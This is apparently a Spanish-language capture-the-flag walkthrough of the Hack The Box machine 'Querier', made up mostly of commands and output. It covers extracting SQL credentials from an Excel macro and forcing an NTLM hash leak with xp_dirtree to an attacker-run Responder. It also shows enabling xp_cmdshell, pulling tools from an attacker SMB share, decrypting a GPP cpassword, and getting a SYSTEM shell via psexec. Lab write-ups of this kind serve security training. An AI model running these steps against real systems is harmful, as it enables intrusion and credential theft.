Máquina Querier Hack the Box
Reconocimiento
Nmap 7.91 scan initiated Mon Sep 6 20:53:26 2021 as: nmap -sC -sV -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 -o nmap 10.129.1.147
Nmap scan report for 10.129.1.147
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: QUERIER
| DNS_Domain_Name: HTB.LOCAL
| DNS_Computer_Name: QUERIER.HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-09-07T01:34:35
|_Not valid after: 2051-09-07T01:34:35
|_ssl-date: 2021-09-07T01:54:38+00:00; +5s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|*clock-skew: mean: 4s, deviation: 0s, median: 4s
| ms-sql-info:
| 10.129.1.147:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|* TCP port: 1433
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-09-07T01:54:30
|_ start_date: N/A
Service detection performed. Please report any incorrect results at [https://nmap.org/submit/](https://nmap.org/submit/) .
Nmap done at Mon Sep 6 20:54:34 2021 -- 1 IP address (1 host up) scanned in 67.89 seconds
Reconocimiento al puerto 445
Vemos que tiene 2 directorios en los que se puede leer sin proporcionar contraseña
smbmap -H 10.129.1.147 -u 'null'
[+] Guest session IP: 10.129.1.147:445 Name: htb.local
Disk Permissions Comment
---- ----------- ------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
Reports READ ONLY
Nos Conectamos por medio de smbclient al repositorio compartido y nos descargamos el archivo
smbclient [//10.129.1.147/Reports](https://10.129.1.147/Reports) -N
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Jan 28 18:23:48 2019
.. D 0 Mon Jan 28 18:23:48 2019
Currency Volume Report.xlsm A 12229 Sun Jan 27 17:21:34 2019
6469119 blocks of size 4096. 1605609 blocks available
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (16,7 KiloBytes/sec) (average 16,7 KiloBytes/sec)
smb: \>
Instalamos oletools para ver que podemos encontrar en el archivo
oletools
instalamos oletools
- https://github.com/decalage2/oletools
- git clone https://github.com/decalage2/oletools.git cd oletools python setup.py install
Vemos lo que nos trae la herramienta
┌─[root@parrot]─[/mnt/angussMoody/Scripts]
└──╼ #olevba -h
usage: usage: olevba [options] <filename> [filename2 ...]
positional arguments:
filenames Files to analyze
optional arguments:
-h, --help show this help message and exit
-r find files recursively in subdirectories.
-z ZIP_PASSWORD, --zip ZIP_PASSWORD
if the file is a zip archive, open all files from it,
using the provided password.
-p PASSWORD, --password PASSWORD
if encrypted office files are encountered, try
decryption with this password. May be repeated.
-f ZIP_FNAME, --zipfname ZIP_FNAME
if the file is a zip archive, file(s) to be opened
within the zip. Wildcards * and ? are supported.
(default: *)
-a, --analysis display only analysis results, not the macro source
code
-c, --code display only VBA source code, do not analyze it
--decode display all the obfuscated strings with their decoded
content (Hex, Base64, StrReverse, Dridex, VBA).
--attr display the attribute lines at the beginning of VBA
source code
--reveal display the macro source code after replacing all the
obfuscated strings by their decoded content.
-l LOGLEVEL, --loglevel LOGLEVEL
logging level debug/info/warning/error/critical
(default=warning)
--deobf Attempt to deobfuscate VBA expressions (slow)
--relaxed Do not raise errors if opening of substream fails
(this option is now deprecated, enabled by default)
--show-pcode Show disassembled P-code (using pcodedmp)
--no-pcode Disable extraction and analysis of pcode
--no-xlm Do not extract XLM Excel macros. This may speed up
analysis of large files.
Output mode (mutually exclusive):
-t, --triage triage mode, display results as a summary table
(default for multiple files)
-d, --detailed detailed mode, display full results (default for
single file)
-j, --json json mode, detailed in json format (never default)
Vemos con la bandera -a para analizar, pero no tenemos nada que podamos explotar
Vamos a Utilizar la bandera -c para ver el código y nos encontramos con lo que parece ser unas credenciales del servicio SQL Server
┌─[root@parrot]─[/mnt/angussMoody/Machines/Querier]
└──╼ #olevba -c "Currency Volume Report.xlsm"
olevba 0.60 on Python 2.7.18 - [http://decalage.info/python/oletools](http://decalage.info/python/oletools)
FILE: Currency Volume Report.xlsm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: u'VBA/ThisWorkbook'
---
' macro to pull data for client volume reports
'
' further testing required
Private Sub Connect()
Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset
Set conn = New ADODB.Connection
**conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"**
conn.ConnectionTimeout = 10
conn.Open
If conn.State = adStateOpen Then
' MsgBox "connection successful"
'Set rs = conn.Execute("SELECT * @@version;")
Set rs = conn.Execute("SELECT * FROM volume;")
Sheets(1).Range("A1").CopyFromRecordset rs
rs.Close
End If
End Sub
VBA MACRO Sheet1.cls
in file: xl/vbaProject.bin - OLE stream: u'VBA/Sheet1'
---
(empty macro)
/usr/local/lib/python2.7/dist-packages/msoffcrypto_tool-4.12.0-py2.7.egg/msoffcrypto/method/ecma376_agile.py:8: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
from cryptography.hazmat.backends import default_backend
Tratamos de conectarnos por medio de la Herramienta mssqlclient.py de impacket y tenemos respuesta
┌─[root@parrot]─[/mnt/angussMoody/Machines/Querier]
└──╼ #[mssqlclient.py](http://mssqlclient.py/) -p 1433 [reporting@10.129.1.147](mailto:reporting@10.129.1.147) -windows-auth
/usr/local/lib/python2.7/dist-packages/OpenSSL/crypto.py:14: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
from cryptography import utils, x509
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
Enumeración Manual
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
Enumeration Manu
SELECT name FROM master.dbo.sysdatabases #Get databases
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES; #Get table names
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select [sp.name](http://sp.name/) as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by [sp.name](http://sp.name/);
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
sp_addsrvrolemember 'hacker', 'sysadmin'
vamos a tratar de obtener el hash NTLM del usuario realizando una petición a una ruta que no tenga acceso y así general el error
Debemos poner nuestro responder a la escucha y luego hacer el llamado con xp_dirtree en SQL Server
┌─[root@parrot]─[/home/angussmoody]
└──╼ #responder -I tun0 -v
NBT-NS, LLMNR & MDNS Responder 3.0.6.0
Author: Laurent Gaffie ([laurent.gaffie@gmail.com](mailto:laurent.gaffie@gmail.com))
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.14.96]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Current Session Variables:
Responder Machine Name [WIN-MPO61F0XLC0]
Responder Domain Name [U32E.LOCAL]
Responder DCE-RPC Port [49896]
[+] Listening for events...
Hacemos el llamado en el SQL Server
SQL> xp_dirtree ‘\10.10.14.96\Folder’ subdirectory depth
SQL>
y este nos responde con el hash del usuario
mssql-svc::QUERIER:c5897adc6227ff35:99B041A4036DFDF0F0B7012D374C8AF2:010100000000000080349D7826A4D70179FD5C654AD8FB8D0000000002000800550033003200450001001E00570049004E002D004D0050004F00360031004600300058004C004300300004003400570049004E002D004D0050004F00360031004600300058004C00430030002E0055003300320045002E004C004F00430041004C000300140055003300320045002E004C004F00430041004C000500140055003300320045002E004C004F00430041004C000700080080349D7826A4D701060004000200000008003000300000000000000000000000003000002F79B586BF3A6363418F73EB3266664DFDF2DBE48ADFCDE250EEEA9F10A38A420A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0039003600000000000000000000000000
Ahora debemos crackear este hash y podemos hacerlo con john
Ahora que tenemos credenciales nos conectamos de nuevo a SQL Server con este usuario y tratamos de ejecutar un comando, pero nos da un error.
┌─[root@parrot]─[/mnt/angussMoody/Machines/Querier]
└──╼ #[mssqlclient.py](http://mssqlclient.py/) -p 1433 [mssql-svc@10.129.1.147](mailto:mssql-svc@10.129.1.147) -windows-auth
/usr/local/lib/python2.7/dist-packages/OpenSSL/crypto.py:14: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
from cryptography import utils, x509
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> EXEC xp_cmdshell "whoami"
[-] ERROR(QUERIER): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
SQL>
Encontramos un articulo donde ponemos intentar habilitar el xp_cmsshell para ejecutar comandos
https://acasanueva.wordpress.com/2013/04/02/119/
Para habilitarlo usar el siguiente script:
- -Permitir que las opciones avanzadas puedan ser cambiadas.
EXEC sp_configure ‘show advanced options’, 1 RECONFIGURE –Permitir el uso de SP XP_CMDSHELL.
EXEC sp_configure ‘xp_cmdshell’, 1 RECONFIGURE
EXEC xp_cmdshell “whoami”
Ahora que podemos ejecutar comandos trataremos de ejecutarnos una Reverse Shell, pero primero veamos la información del sistema
SQL> EXEC xp_cmdshell "systeminfo"
output
---
NULL
Host Name: QUERIER
OS Name: Microsoft Windows Server 2019 Standard
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Member Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00429-00521-62775-AA073
Original Install Date: 1/28/2019, 11:16:50 PM
System Boot Time: 9/8/2021, 12:26:06 AM
System Manufacturer: VMware, Inc.
System Model: VMware7,1
System Type: **x64-based PC**
Processor(s): 2 Processor(s) Installed.
[01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
[02]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version: VMware, Inc. VMW71.00V.13989454.B64.1906190538, 6/19/2019
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London
Total Physical Memory: 2,047 MB
Available Physical Memory: 974 MB
Virtual Memory: Max Size: 3,199 MB
Virtual Memory: Available: 1,967 MB
Virtual Memory: In Use: 1,232 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB.LOCAL
Logon Server: N/A
Hotfix(s): 6 Hotfix(s) Installed.
[01]: KB4481031
[02]: KB4462930
[03]: KB4470788
[04]: KB4480056
[05]: KB4480979
[06]: KB4476976
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Ethernet0 2
DHCP Enabled: Yes
DHCP Server: 10.129.0.1
IP address(es)
[01]: 10.129.1.147
[02]: fe80::89dc:9131:47d5:38ee
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
NULL
SQL>
Como vemos que es un sistema de 64 bits vamos a ejecutar el nc para realizar la revershell, nos creamos un server con impacket
┌─[root@parrot]─[/mnt/angussMoody/Scripts/Windows]
└──╼ #ls nc64.exe
nc64.exe
┌─[root@parrot]─[/mnt/angussMoody/Scripts/Windows]
└──╼ #impacket-smbserver Folder . -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Ponemos Nuestra máquina a la escucha y ejecutamos nuestro nc
Escalada de Privilegios:
Pasamos el PowerUp.ps1 y el winPEASx64.exe a la máquina Victima para realizar una enumeración de la escalada
copy \\10.10.14.96\Folder\winPEASx64.exe
copy \\10.10.14.96\Folder\winPEASx64.exe
dir
dir
Directory: C:\\Windows\\temp\\angussmoody
Mode LastWriteTime Length Name
---
- a---- 9/8/2021 4:22 AM 600580 PowerUp.ps1
-a---- 5/22/2021 8:47 PM 0 winPEASx64.exe
PS C:\Windows\temp\angussmoody>
Este nos dice que en el archivo Groups.xml se encuentra la contraseña del administrador
Found C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\History{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml UserName: Administrator NewName: [BLANK] cPassword: MyUnclesAreMarioAndLuigi!!1! Changed: 2019-01-28 23:12:48
Este no lo da en texto plano, pero la contraseña se encuentra encriptada, podríamos hacer el proceso manual
abrimos el archivo y nos copiamos la contraseña
type Groups.xml
<?xml version="1.0" encoding="UTF-8" ?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" image="2" changed="2019-01-28 23:12:48" uid="{CD450F70-CDB8-4948-B908-F8D038C59B6C}" userContext="0" removePolicy="0" policyApplied="1">
<Properties action="U" newName="" fullName="" description="" cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="Administrator"></Properties></User></Groups>
C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups>
Nos descargamos este script para desencriptar la constaseña
https://github.com/t0thkr1s/gpp-decrypt
Ya nos podemos conectar con psexec.py
┌─[root@parrot]─[/mnt/angussMoody/Machines/Querier]
└──╼ #psexec.py Administrator:'MyUnclesAreMarioAndLuigi!!1!'@10.129.1.147
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 10.129.1.147.....
[*] Found writable share ADMIN$
[*] Uploading file HuJwoOCc.exe
[*] Opening SVCManager on 10.129.1.147.....
[*] Creating service fGra on 10.129.1.147.....
[*] Starting service fGra.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>